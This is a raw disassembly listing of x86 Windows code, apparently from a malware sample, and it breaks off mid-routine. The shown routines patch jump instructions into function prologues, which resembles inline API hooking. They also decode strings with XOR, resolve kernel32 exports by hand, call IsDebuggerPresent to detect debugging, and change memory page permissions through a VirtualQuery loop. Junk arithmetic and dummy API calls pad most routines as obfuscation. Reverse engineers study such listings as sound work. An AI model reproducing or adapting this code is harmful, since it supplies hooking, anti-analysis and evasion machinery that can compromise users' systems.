		push	[ebp+var_50]
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_41A6B8
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402355	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024F3	proc near		; CODE XREF: sub_402B12+228p

var_1E		= byte ptr -1Eh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		push	edi
		mov	[ebp+var_4], 10C8h
		mov	eax, [ebp+var_4]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_8], ecx
		and	[ebp+var_C], 0
		xor	edx, edx
		mov	[ebp+var_14], edx
		mov	[ebp+var_18], eax
		lea	edi, [ebp+var_1E]
		lea	esi, aZ9daw	; "z9Daw"
		mov	ecx, 3
		rep movsw
		push	4
		push	0
		push	1
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	ds:dword_41D924
		call	sub_40C218	; GetTickCount
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		leave
		retn
sub_4024F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402563	proc near		; CODE XREF: sub_402B12+334p

var_4		= word ptr -4
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_1], 0F7h
		add	[ebp+var_1], 0EBh
		push	[ebp+arg_0]
		push	0FFFFFFFFh
		call	ds:dword_41C848
		mov	[ebp+var_4], 5462h
		movzx	eax, [ebp+var_4]
		imul	eax, 2138h
		mov	[ebp+var_4], ax
		leave
		retn
sub_402563	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 379h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C00C
		lea	eax, ds:412C90h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4025D6
; ---------------------------------------------------------------------------


loc_4025BF:				; CODE XREF: .text:004025D8j
		mov	eax, dword_43C00C
		add	eax, edi
		lea	eax, ds:412C90h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 6Bh
		mov	[eax], dl
		inc	edi


loc_4025D6:				; CODE XREF: .text:004025BDj
		cmp	edi, esi
		jl	short loc_4025BF
		mov	dword ptr [ebp-8], 33Dh
		mov	eax, dword_43C00C
		add	eax, esi
		mov	byte ptr ds:dword_412C90[eax], 0
		xor	edi, edi
		mov	edi, dword_43C00C
		add	dword_43C00C, 2
		mov	eax, dword_43C00C
		add	eax, 2
		add	eax, esi
		mov	dword_43C00C, eax
		add	dword_43C00C, 3
		cmp	dword_43C00C, 0DB3h
		jle	short loc_402628
		and	dword_43C00C, 0


loc_402628:				; CODE XREF: .text:0040261Fj
		mov	dword ptr [ebp-0Ch], 65h
		lea	eax, dword_412C90[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402639	proc near		; CODE XREF: sub_402936+1C1p

var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= word ptr -0Ch
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		call	sub_40C188	; GetCurrentProcessId
		lea	edi, [ebp+var_8]
		lea	esi, dword_43C104
		movsd
		movsd
		xor	ebx, ebx


loc_402654:				; CODE XREF: sub_402639+2F2j
		call	sub_40C224	; GetVersion
		mov	eax, [ebp+arg_0]
		movzx	edx, byte ptr [eax+ebx]
		cmp	edx, 0FFh
		jnz	short loc_40269F
		movzx	edx, byte ptr [ebx+eax+1]
		cmp	edx, 0FFh
		jnz	short loc_40269F
		movzx	edx, byte ptr [ebx+eax+2]
		cmp	edx, 0FFh
		jnz	short loc_40269F
		movzx	edx, byte ptr [ebx+eax+3]
		cmp	edx, 0FFh
		jnz	short loc_40269F
		movzx	eax, byte ptr [ebx+eax+4]
		cmp	eax, 0FFh
		jz	loc_402931


loc_40269F:				; CODE XREF: sub_402639+2Dj
					; sub_402639+3Aj ...
		call	sub_40C1F4	; GetProcessHeap
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+5]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+ebx]
		mov	[eax+ebx], dl
		call	sub_40C1B8	; RtlGetLastWin32Error
		mov	[ebp+var_9], 0


loc_4026C0:				; CODE XREF: sub_402639+178j
		mov	eax, [ebp+arg_0]
		movzx	edx, [ebp+var_9]
		imul	edx, 0Ch
		movzx	edx, byte_43C098[edx]
		movzx	ecx, byte ptr [eax+ebx]
		cmp	ecx, edx
		jnz	loc_402797
		mov	ecx, ebx
		dec	ecx
		movzx	ecx, byte ptr [eax+ecx]
		cmp	ecx, edx
		jnz	loc_402797
		mov	ecx, ebx
		sub	ecx, 2
		movzx	ecx, byte ptr [eax+ecx]
		cmp	ecx, edx
		jnz	loc_402797
		mov	ecx, ebx
		sub	ecx, 3
		movzx	ecx, byte ptr [eax+ecx]
		cmp	ecx, edx
		jnz	loc_402797
		mov	edx, ebx
		sub	edx, 4
		movzx	eax, byte ptr [eax+edx]
		cmp	eax, 0E8h
		jnz	short loc_402797
		mov	[ebp+var_A], 0E0h
		add	[ebp+var_A], 1
		movzx	eax, [ebp+var_9]
		imul	eax, 0Ch
		push	off_43C0A0[eax]
		call	sub_40C1D0	; GetModuleHandleA
		movzx	edi, [ebp+var_9]
		imul	edi, 0Ch
		push	off_43C09C[edi]
		push	eax
		call	sub_40C1E8	; GetProcAddress
		mov	[ebp+var_10], eax
		call	sub_40C2B4	; IsDebuggerPresent
		or	eax, 0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		lea	edx, [edx+ecx+5]
		add	edx, ebx
		sub	edx, 4
		sub	eax, edx
		add	eax, [ebp+var_10]
		sub	eax, 4
		mov	[ebp+var_14], eax
		mov	ax, word_43C10C
		mov	[ebp+var_16], ax
		mov	eax, [ebp+arg_4]
		mov	edx, ecx
		lea	eax, [eax+edx+5]
		add	eax, ebx
		sub	eax, 4
		mov	edx, [ebp+var_14]
		mov	ds:1[eax], edx
		jmp	short loc_4027B6
; ---------------------------------------------------------------------------


loc_402797:				; CODE XREF: sub_402639+9Fj
					; sub_402639+AEj ...
		movzx	eax, [ebp+var_9]
		imul	eax, 0Ch
		cmp	off_43C09C[eax], 0
		jz	short loc_4027B6
		call	sub_40C1B8	; RtlGetLastWin32Error
		add	[ebp+var_9], 1
		jmp	loc_4026C0
; ---------------------------------------------------------------------------


loc_4027B6:				; CODE XREF: sub_402639+15Cj
					; sub_402639+16Dj
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 4
		jnz	short loc_402829
		mov	edx, ebx
		dec	edx
		cmp	byte ptr [eax+edx], 4
		jnz	short loc_402829
		mov	edx, ebx
		sub	edx, 2
		cmp	byte ptr [eax+edx], 4
		jnz	short loc_402829
		mov	edx, ebx
		sub	edx, 3
		cmp	byte ptr [eax+edx], 4
		jnz	short loc_402829
		mov	edx, ebx
		sub	edx, 4
		movzx	edx, byte ptr [eax+edx]
		cmp	dl, 68h
		jz	short loc_4027FF
		cmp	edx, 0BEh
		jz	short loc_4027FF
		mov	edx, ebx
		sub	edx, 5
		cmp	byte ptr [eax+edx], 24h
		jnz	short loc_402829


loc_4027FF:				; CODE XREF: sub_402639+1B1j
					; sub_402639+1B9j
		lea	edi, [ebp+var_A]
		lea	esi, byte_43C10E
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+arg_8]
		lea	edx, [eax+ebx+5]
		sub	edx, 4
		add	eax, 7
		mov	ds:1[edx], eax
		call	sub_40C1B8	; RtlGetLastWin32Error


loc_402829:				; CODE XREF: sub_402639+184j
					; sub_402639+18Dj ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 2
		jnz	loc_4028BC
		mov	edx, ebx
		dec	edx
		cmp	byte ptr [eax+edx], 2
		jnz	short loc_4028BC
		mov	edx, ebx
		sub	edx, 2
		cmp	byte ptr [eax+edx], 2
		jnz	short loc_4028BC
		mov	edx, ebx
		sub	edx, 3
		cmp	byte ptr [eax+edx], 2
		jnz	short loc_4028BC
		mov	edx, ebx
		sub	edx, 4
		movzx	eax, byte ptr [eax+edx]
		cmp	eax, 0E8h
		jz	short loc_40286C
		cmp	eax, 0E9h
		jnz	short loc_4028BC


loc_40286C:				; CODE XREF: sub_402639+22Aj
		call	sub_40C188	; GetCurrentProcessId
		mov	eax, [ebp+arg_4]
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+arg_8]
		lea	ecx, [eax+ecx+5]
		add	ecx, ebx
		sub	ecx, 4
		sub	edx, ecx
		add	edx, eax
		mov	eax, edx
		sub	eax, 4
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+5]
		add	eax, ebx
		sub	eax, 4
		mov	edx, [ebp+var_10]
		mov	ds:1[eax], edx
		mov	[ebp+var_C], 692Eh
		movzx	eax, [ebp+var_C]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_C], ax


loc_4028BC:				; CODE XREF: sub_402639+1F7j
					; sub_402639+204j ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 1
		jnz	short loc_402924
		mov	edx, ebx
		dec	edx
		cmp	byte ptr [eax+edx], 1
		jnz	short loc_402924
		mov	edx, ebx
		sub	edx, 2
		cmp	byte ptr [eax+edx], 1
		jnz	short loc_402924
		mov	edx, ebx
		sub	edx, 3
		cmp	byte ptr [eax+edx], 1
		jnz	short loc_402924
		mov	edx, ebx
		sub	edx, 4
		movzx	eax, byte ptr [eax+edx]
		cmp	al, 3Dh
		jz	short loc_4028FF
		cmp	eax, 0FEh
		jz	short loc_4028FF
		cmp	eax, 0FFh
		jnz	short loc_402924


loc_4028FF:				; CODE XREF: sub_402639+2B6j
					; sub_402639+2BDj
		call	sub_40C1F4	; GetProcessHeap
		call	sub_40C188	; GetCurrentProcessId
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		lea	edi, [edi+esi+5]
		add	edi, ebx
		sub	edi, 4
		mov	ds:1[edi], eax
		call	sub_40C224	; GetVersion


loc_402924:				; CODE XREF: sub_402639+28Aj
					; sub_402639+293j ...
		inc	ebx
		cmp	ebx, 400h
		jb	loc_402654


loc_402931:				; CODE XREF: sub_402639+60j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402639	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402936	proc near		; CODE XREF: sub_403010+318p

var_30		= dword	ptr -30h
var_2A		= word ptr -2Ah
var_28		= byte ptr -28h
var_21		= byte ptr -21h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		call	sub_40C1F4	; GetProcessHeap
		call	sub_40C218	; GetTickCount
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_40297C
; ---------------------------------------------------------------------------


loc_402951:				; CODE XREF: sub_402936+51j
		call	sub_40C1F4	; GetProcessHeap
		xor	ebx, ebx
		jmp	short loc_402964
; ---------------------------------------------------------------------------


loc_40295A:				; CODE XREF: sub_402936+34j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_40296C
		inc	ebx


loc_402964:				; CODE XREF: sub_402936+22j
		cmp	ebx, 3E8h
		jbe	short loc_40295A


loc_40296C:				; CODE XREF: sub_402936+2Bj
		call	sub_40C218	; GetTickCount
		cmp	ebx, 3E8h
		jnb	short loc_40298E
		inc	[ebp+var_4]


loc_40297C:				; CODE XREF: sub_402936+19j
		mov	eax, [ebp+arg_4]
		sub	eax, 3E8h
		cmp	[ebp+var_4], eax
		jbe	short loc_402951
		jmp	loc_402B0D
; ---------------------------------------------------------------------------


loc_40298E:				; CODE XREF: sub_402936+41j
		add	[ebp+var_4], 0Ah
		movzx	edi, [ebp+arg_8]
		shl	edi, 2
		mov	ebx, ds:dword_40F2F0[edi]
		and	[ebp+var_8], 0


loc_4029A4:				; CODE XREF: sub_402936+11Bj
		mov	eax, ebx
		add	eax, [ebp+var_8]
		push	eax
		call	sub_401DE8
		pop	ecx
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [ebx+eax]
		cmp	eax, 0E8h
		jz	short loc_4029EE
		cmp	eax, 0E9h
		jz	short loc_4029EE
		call	sub_40C1F4	; GetProcessHeap
		and	[ebp+var_C], 0
		jmp	short loc_4029E2
; ---------------------------------------------------------------------------


loc_4029D0:				; CODE XREF: sub_402936+B4j
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	cl, [ebx+eax]
		mov	[edx+eax], cl
		inc	[ebp+var_C]


loc_4029E2:				; CODE XREF: sub_402936+98j
		mov	eax, ds:dword_40DFC0
		cmp	[ebp+var_C], eax
		jb	short loc_4029D0
		jmp	short loc_402A45
; ---------------------------------------------------------------------------


loc_4029EE:				; CODE XREF: sub_402936+86j
					; sub_402936+8Dj
		mov	[ebp+var_30], 29E6h
		add	[ebp+var_30], 7F97h
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	cl, [ebx+eax]
		mov	[edx+eax], cl
		call	sub_40C1F4	; GetProcessHeap
		mov	eax, [ebp+var_8]
		lea	eax, [ebx+eax+1]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		sub	edx, ecx
		mov	ecx, ebx
		add	ecx, eax
		mov	eax, edx
		add	eax, ecx
		mov	[ebp+var_1C], eax
		call	sub_40C218	; GetTickCount
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		lea	eax, [eax+edx+1]
		mov	edx, [ebp+var_1C]
		mov	[eax], edx


loc_402A45:				; CODE XREF: sub_402936+B6j
		mov	eax, ds:dword_40DFC0
		add	[ebp+var_8], eax
		cmp	[ebp+var_8], 5
		jb	loc_4029A4
		call	sub_40C1F4	; GetProcessHeap
		mov	eax, [ebp+var_8]
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		sub	edx, ecx
		mov	ecx, ebx
		add	ecx, eax
		mov	eax, edx
		add	eax, ecx
		sub	eax, 4
		mov	[ebp+var_10], eax
		lea	edi, [ebp+var_21]
		lea	esi, a@?	; "@~?^"
		mov	ecx, 5
		rep movsb
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	byte ptr [edx+eax], 0E9h
		lea	edi, [ebp+var_28]
		lea	esi, aINW	; "I&n-*w"
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		lea	eax, [eax+edx+1]
		mov	edx, [ebp+var_10]
		mov	[eax], edx
		mov	[ebp+var_14], 1122h
		inc	[ebp+var_14]
		or	eax, 0FFFFFFFFh
		sub	eax, ebx
		mov	edx, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		lea	edx, [edx+ecx+5]
		add	eax, edx
		sub	eax, 4
		mov	[ebp+var_10], eax
		mov	byte ptr [ebx],	0E9h
		mov	ds:1[ebx], eax
		mov	ax, word_43C11B
		mov	[ebp+var_2A], ax
		push	ecx
		push	[ebp+var_4]
		movzx	edi, [ebp+arg_8]
		shl	edi, 4
		push	off_43BE9C[edi]
		call	sub_402639
		add	esp, 0Ch
		mov	[ebp+var_18], 1FB2h
		sub	[ebp+var_18], 5E84h


loc_402B0D:				; CODE XREF: sub_402936+53j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402936	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B12	proc near		; CODE XREF: sub_40A4E2+505p

var_21C8	= dword	ptr -21C8h
var_21C4	= dword	ptr -21C4h
var_21C0	= word ptr -21C0h
var_21BE	= word ptr -21BEh
var_21BC	= byte ptr -21BCh
var_21B6	= word ptr -21B6h
var_21B4	= dword	ptr -21B4h
var_21AE	= byte ptr -21AEh
var_21AD	= byte ptr -21ADh
var_21AC	= dword	ptr -21ACh
var_21A8	= dword	ptr -21A8h
var_21A2	= byte ptr -21A2h
var_21A0	= dword	ptr -21A0h
var_219A	= dword	ptr -219Ah
var_2194	= dword	ptr -2194h
var_218F	= byte ptr -218Fh
var_218E	= word ptr -218Eh
var_218C	= dword	ptr -218Ch
var_2188	= dword	ptr -2188h
var_2078	= dword	ptr -2078h
var_2072	= byte ptr -2072h
var_205C	= dword	ptr -205Ch
var_2058	= dword	ptr -2058h
var_2050	= byte ptr -2050h
var_2034	= dword	ptr -2034h
var_2030	= dword	ptr -2030h
var_2025	= byte ptr -2025h
var_2020	= dword	ptr -2020h
var_101C	= dword	ptr -101Ch
var_1015	= byte ptr -1015h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 2594h
		call	sub_40C118
		push	ebx
		push	esi
		push	edi
		call	sub_40C1F4	; GetProcessHeap
		call	sub_4022D1
		mov	[ebp+var_2058],	49FFh
		inc	[ebp+var_2058]
		mov	[ebp+var_2025],	0
		call	sub_40C224	; GetVersion
		cmp	eax, 80000000h
		jnb	short loc_402B56
		mov	[ebp+var_2025],	1


loc_402B56:				; CODE XREF: sub_402B12+3Bj
		lea	edi, [ebp-2071h]
		lea	esi, aR_0	; "`r_0"
		mov	ecx, 5
		rep movsb
		mov	[ebp+var_1015],	0


loc_402B70:				; CODE XREF: sub_402B12+100j
		cmp	[ebp+var_2025],	0
		jnz	short loc_402B8D
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	byte_43BEA0[edi], 1
		jz	short loc_402BAA


loc_402B8D:				; CODE XREF: sub_402B12+65j
		cmp	[ebp+var_2025],	0
		jz	short loc_402BAC
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	byte_43BEA0[edi], 2
		jnz	short loc_402BAC


loc_402BAA:				; CODE XREF: sub_402B12+79j
		jmp	short loc_402BF9
; ---------------------------------------------------------------------------


loc_402BAC:				; CODE XREF: sub_402B12+82j
					; sub_402B12+96j
		movzx	edi, [ebp+var_1015]
		mov	esi, edi
		shl	esi, 4
		push	off_43BE98[esi]
		call	sub_40C2C0	; LoadLibraryA
		mov	ds:dword_413DB0[edi*4],	eax
		movzx	edi, [ebp+var_1015]
		mov	esi, edi
		shl	esi, 4
		push	off_43BE94[esi]
		shl	edi, 2
		push	ds:dword_413DB0[edi]
		call	sub_40C1E8	; GetProcAddress
		mov	ds:dword_40F2F0[edi], eax
		call	sub_40C1B8	; RtlGetLastWin32Error


loc_402BF9:				; CODE XREF: sub_402B12:loc_402BAAj
		add	[ebp+var_1015],	1
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	off_43BE94[edi], 0
		jnz	loc_402B70
		call	sub_40C224	; GetVersion
		mov	[ebp+var_1015],	0


loc_402C24:				; CODE XREF: sub_403010+394j
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		cmp	ds:dword_40F2F0[edi], 0
		jz	loc_40338B
		call	sub_40C1F4	; GetProcessHeap
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	edi, ds:dword_413DB0[edi]
		mov	[ebp+var_2034],	edi
		cmp	[ebp+var_2025],	0
		jz	loc_402F35
		call	sub_40C188	; GetCurrentProcessId
		call	sub_402355
		mov	[ebp+var_2030],	eax
		shr	edi, 16h
		shl	edi, 16h
		mov	[ebp+var_8], edi
		mov	[ebp+var_21A8],	787h
		mov	eax, [ebp+var_21A8]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_21A8],	edx
		mov	eax, edi
		add	eax, 400000h
		mov	[ebp+var_1014],	eax
		xor	ebx, ebx
		jmp	short loc_402CE3
; ---------------------------------------------------------------------------


loc_402CA9:				; CODE XREF: sub_402B12+1DAj
		call	sub_40C188	; GetCurrentProcessId
		mov	eax, dword_43C004
		add	eax, 0FF8h
		push	eax
		push	[ebp+var_8]
		call	sub_40C29C	; IsBadReadPtr
		mov	[ebp+var_4], eax
		call	sub_40C218	; GetTickCount
		xor	[ebp+var_4], 1
		shl	[ebp+var_4], 2
		mov	edi, [ebp+var_4]
		mov	[ebp+ebx*4+var_1010], edi
		inc	ebx
		add	[ebp+var_8], 1000h


loc_402CE3:				; CODE XREF: sub_402B12+195j
		mov	eax, [ebp+var_1014]
		cmp	[ebp+var_8], eax
		jbe	short loc_402CA9
		lea	eax, [ebp+var_21A2]
		push	eax
		call	sub_40C278	; GlobalMemoryStatus
		mov	[ebp+var_21AC],	315Fh
		inc	[ebp+var_21AC]
		and	[ebp+var_101C],	0
		jmp	loc_402E67
; ---------------------------------------------------------------------------


loc_402D16:				; CODE XREF: sub_402B12+366j
		lea	edi, [ebp-21BBh]
		lea	esi, aQyg6	; "QYG6"
		mov	ecx, 5
		rep movsb
		push	0FFFFh
		push	[ebp+var_101C]
		push	[ebp+var_2030]
		call	sub_4024F3
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	[ebp+var_21B6],	1E1Bh
		movzx	eax, [ebp+var_21B6]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_21B6],	ax
		cmp	[ebp+var_C], 0
		jnz	short loc_402D8A
		mov	[ebp+var_21BE],	40D7h
		movzx	eax, [ebp+var_21BE]
		imul	eax, 78A8h
		mov	[ebp+var_21BE],	ax
		jmp	loc_402E5D
; ---------------------------------------------------------------------------


loc_402D8A:				; CODE XREF: sub_402B12+254j
		and	[ebp+var_21B4],	0


loc_402D91:				; CODE XREF: sub_403010+376j
		mov	eax, [ebp+var_21B4]
		mov	[ebp+var_8], eax
		jmp	loc_402E36
; ---------------------------------------------------------------------------


loc_402D9F:				; CODE XREF: sub_402B12+32Bj
		mov	byte ptr [ebp+var_21BE+1], 0FDh
		add	byte ptr [ebp+var_21BE+1], 14h
		xor	ebx, ebx


loc_402DAF:				; CODE XREF: sub_402B12+2FEj
		mov	[ebp+var_21C0],	4AA8h
		movzx	eax, [ebp+var_21C0]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_21C0],	ax
		mov	edi, [ebp+var_8]
		shr	edi, 2
		shl	edi, 2
		add	edi, [ebp+var_C]
		mov	edi, [edi+ebx*4]
		mov	[ebp+var_4], edi
		mov	[ebp+var_21C4],	0AFDh
		inc	[ebp+var_21C4]
		and	[ebp+var_4], 4
		mov	edi, [ebp+ebx*4+var_1010]
		cmp	[ebp+var_4], edi
		jnz	short loc_402E12
		mov	eax, dword_43C127
		mov	[ebp+var_21C8],	eax
		inc	ebx
		cmp	ebx, 400h
		jb	short loc_402DAF


loc_402E12:				; CODE XREF: sub_402B12+2EAj
		cmp	ebx, 3FFh
		jb	short loc_402E2F
		call	sub_40C224	; GetVersion
		mov	eax, [ebp+var_8]
		add	eax, 1000h
		mov	[ebp+var_21B4],	eax
		jmp	short loc_402E9F
; ---------------------------------------------------------------------------


loc_402E2F:				; CODE XREF: sub_402B12+306j
		add	[ebp+var_8], 1000h


loc_402E36:				; CODE XREF: sub_402B12+288j
		cmp	[ebp+var_8], 0F000h
		jbe	loc_402D9F
		push	[ebp+var_C]
		call	sub_402563
		pop	ecx
		lea	edi, [ebp+var_21BC]
		lea	esi, byte_43C12B
		xor	ecx, ecx
		inc	ecx
		rep movsb


loc_402E5D:				; CODE XREF: sub_402B12+273j
		add	[ebp+var_101C],	10000h


loc_402E67:				; CODE XREF: sub_402B12+1FFj
		mov	eax, [ebp+var_219A]
		sub	eax, 0FFFFh
		cmp	[ebp+var_101C],	eax
		jbe	loc_402D16
		push	[ebp+var_2030]
		call	sub_40C1DC	; CloseHandle
		lea	edi, [ebp+var_21AD]
		lea	esi, byte_43C12C
		xor	ecx, ecx
		inc	ecx
		rep movsb
		jmp	loc_40338B
; ---------------------------------------------------------------------------


loc_402E9F:				; CODE XREF: sub_402B12+31Bj
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	edi, ds:dword_40F2F0[edi]
		mov	[ebp+var_1014],	edi
		and	[ebp+var_1014],	0


loc_402EBD:				; CODE XREF: sub_402B12+421j
		lea	edi, [ebp+var_21B6]
		lea	esi, aH@d8u	; "#h<@D8u"
		movsd
		movsd
		mov	edi, [ebp+var_1014]
		shl	edi, 2
		mov	esi, [ebp+var_8]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp+var_C]
		mov	esi, [esi+edi]
		mov	[ebp+edi+var_2020], esi
		call	sub_40C1F4	; GetProcessHeap
		mov	edi, [ebp+var_1014]
		shl	edi, 2
		mov	esi, [ebp+var_8]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp+var_C]
		add	edi, esi
		or	byte ptr [edi],	2
		mov	[ebp+var_21AE],	0D6h
		movzx	eax, [ebp+var_21AE]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_21AE],	al
		inc	[ebp+var_1014]
		cmp	[ebp+var_1014],	400h
		jb	short loc_402EBD


loc_402F35:				; CODE XREF: sub_402B12+14Dj
		cmp	[ebp+var_2025],	0
		jnz	loc_402FF8
		mov	[ebp+var_218E],	5C42h
		movzx	eax, [ebp+var_218E]
		imul	eax, 7CAFh
		mov	[ebp+var_218E],	ax
		push	offset aKernel32_dll ; "kernel32.dll"
		call	sub_40C1D0	; GetModuleHandleA
		mov	[ebp+var_2188],	eax
		mov	edx, eax
		add	edx, ds:3Ch[eax]
		mov	[ebp+var_2194],	edx
		call	sub_40C1F4	; GetProcessHeap
		mov	eax, [ebp+var_2188]
		mov	edx, [ebp+var_2194]
		add	edx, 78h
		add	eax, [edx]
		mov	[ebp+var_219A+2], eax
		mov	[ebp+var_218C],	1261h
		mov	eax, [ebp+var_218C]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_218C],	edx
		mov	eax, [ebp+var_2188]
		mov	edx, [ebp+var_219A+2]
		add	edx, 1Ch
		add	eax, [edx]
		mov	[ebp-219Ch], eax
		mov	eax, [ebp+var_2188]
		mov	edx, [ebp-219Ch]
		add	eax, [edx]
		mov	[ebp+var_21A0],	eax
		mov	[ebp+var_218F],	40h
		add	[ebp+var_218F],	0AEh
		mov	[ebp+var_2078],	eax
		call	sub_40C2B4	; IsDebuggerPresent


loc_402FF8:				; CODE XREF: sub_402B12+42Aj
		push	1Ch
		lea	eax, [ebp+var_2050]


loc_403000:				; DATA XREF: .data:loc_43F3EEr
					; sub_43F411+8Cw ...
		push	eax
		call	sub_40C320	; DATA XREF: .data:0043E449r
					; .data:loc_43E485r ...
		mov	[ebp+var_205C],	595Eh ;	DATA XREF: .data:0043E4A4r
					; .data:0043E572w ...
sub_402B12	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_403010	proc near		; DATA XREF: .data:0043E545o
					; sub_43F411+10o
		add	dword ptr [ebp-205Ch], 5E98h
		mov	eax, [ebp-2034h]
		mov	[ebp-202Ch], eax
		mov	dword ptr [ebp-2060h], 3943h
		inc	dword ptr [ebp-2060h]


loc_403036:				; CODE XREF: sub_403010+73j
					; sub_403010+A5j
		push	1Ch
		lea	eax, [ebp-2050h]
		push	eax
		push	dword ptr [ebp-202Ch]
		call	sub_40C380	; VirtualQuery
		mov	eax, [ebp-2034h]
		cmp	[ebp-204Ch], eax
		jnz	short loc_4030BA
		mov	word ptr [ebp-2062h], 1C82h
		sub	word ptr [ebp-2062h], 3C33h
		mov	eax, [ebp-2044h]
		mov	[ebp-2068h], eax
		add	[ebp-202Ch], eax
		cmp	byte ptr [ebp-2025h], 0
		jnz	short loc_403036
		call	sub_40C2B4	; IsDebuggerPresent
		push	20060000h
		push	0
		mov	edi, [ebp-2068h]
		shr	edi, 0Ch
		push	edi
		mov	edi, [ebp-2050h]
		shr	edi, 0Ch
		push	edi
		push	1000Dh
		call	dword ptr [ebp-2078h]
		call	sub_40C218	; GetTickCount
		jmp	loc_403036
; ---------------------------------------------------------------------------


loc_4030BA:				; CODE XREF: sub_403010+46j
		movzx	edi, byte ptr [ebp-1015h]
		shl	edi, 2
		mov	esi, [ebp-202Ch]
		sub	esi, [ebp-2034h]
		mov	ds:dword_411840[edi], esi
		lea	edi, [ebp-2080h]
